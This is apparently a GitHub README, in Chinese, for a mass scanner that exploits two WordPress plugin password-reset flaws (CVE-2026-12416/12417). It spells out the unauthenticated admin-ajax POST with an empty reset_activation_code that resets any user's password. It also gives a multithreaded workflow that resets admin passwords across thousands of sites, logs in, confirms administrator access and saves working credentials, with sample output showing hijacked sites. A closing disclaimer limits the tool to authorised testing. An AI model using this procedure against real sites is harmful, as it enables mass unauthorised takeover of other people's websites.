Nxploited/CVE-2026-12416-CVE-2026-12417
GitHub: Nxploited/CVE-2026-12416-CVE-2026-12417
针对 WordPress 插件弱密码重置验证漏洞(CVE-2026-12416/12417)的批量扫描与利用工具,可未授权接管管理员账户。
Stars: 0 | Forks: 0
# CVE-2026-12416-CVE-2026-12417
通过 `reset_user_id` 参数的弱密码重置验证导致的未经身份验证的账户接管 | 通过 `reset_activation_code` 的弱密码重置验证导致的未经身份验证的权限提升并最终接管账户
# CVE-2026-12417 & CVE-2026-12416 — 批量扫描器
**作者:Khaled Alenazi (Nxploited)**
## 漏洞
### CVE-2026-12417 — SignUp & SignIn ≤ 1.0.0
**通过弱密码重置验证实现的未经身份验证的权限提升**
| 字段 | 值 |
|---|---|
| CVSS | **9.8 严重** |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 发布日期 | 2026 年 6 月 23 日 |
| 研究员 | Alyudin Nafiie |
`pravel_change_password()` 函数被注册为 `wp_ajax_nopriv` 处理程序——无需身份验证即可访问。它不执行 nonce 验证,也不进行权限检查。唯一的防护是对攻击者提供的 `reset_activation_code` 和用户的 `forgot_email` meta 值进行松散的相等比较。对于任何从未触发过密码重置的用户,`get_user_meta()` 会返回一个空字符串,如果代码被省略或为空,这就会轻易地满足 `'' == ''` 的条件。因此,未经身份验证的攻击者可以向 `admin-ajax.php` 发送构造好的 POST 请求,将 `action` 设置为 `pravel_change_password`,将 `reset_user_id` 设置为任何用户 ID(包括管理员账户),并将 `new_password_custom` 设置为任意密码——从而实现完全的账户接管。
### CVE-2026-12416 — Invoice Generator ≤ 1.0.0
**通过弱密码重置验证导致的未经身份验证的账户接管**
| 字段 | 值 |
|---|---|
| CVSS | **9.8 严重** |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 发布日期 | 2026 年 6 月 23 日 |
| 研究员 | Alyudin Nafiie |
同样地,`pravel_invoice_change_password()` 函数也被公开为 nopriv AJAX 处理程序,没有 nonce 验证和授权检查。相同的 `'' == ''` 绕过方法在此同样适用:针对从未使用过忘记密码流程的管理员,提供空的 `reset_activation_code` 即可立即重置密码。攻击者通过 `reset_user_id` 控制目标,并通过 `new_password_custom` 设置新的凭据。
## 扫描器工作原理
```
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=
new_password_custom=
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/ ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log= pwd=
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
```
## 成功输出
终端:
```
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
```
结果文件 (`scan_results/pravel_admin_success.txt`):
```
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
```
## 用法
```
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
```
依赖环境:
```
pip install requests rich colorama urllib3
```
## 免责声明
本工具仅供**授权的安全研究和渗透测试使用**。
对您不拥有或未获得明确书面授权的系统进行测试是非法的。
作者对因使用本工具而造成的任何滥用或损害概不负责。
所有 CVE 详情均来源于公开的漏洞数据库。
**作者:Khaled Alenazi (Nxploited)**
标签:StruQ, WordPress插件, 加密, 协议分析, 安全漏洞, 权限提升, 漏洞扫描器, 账户接管, 逆向工具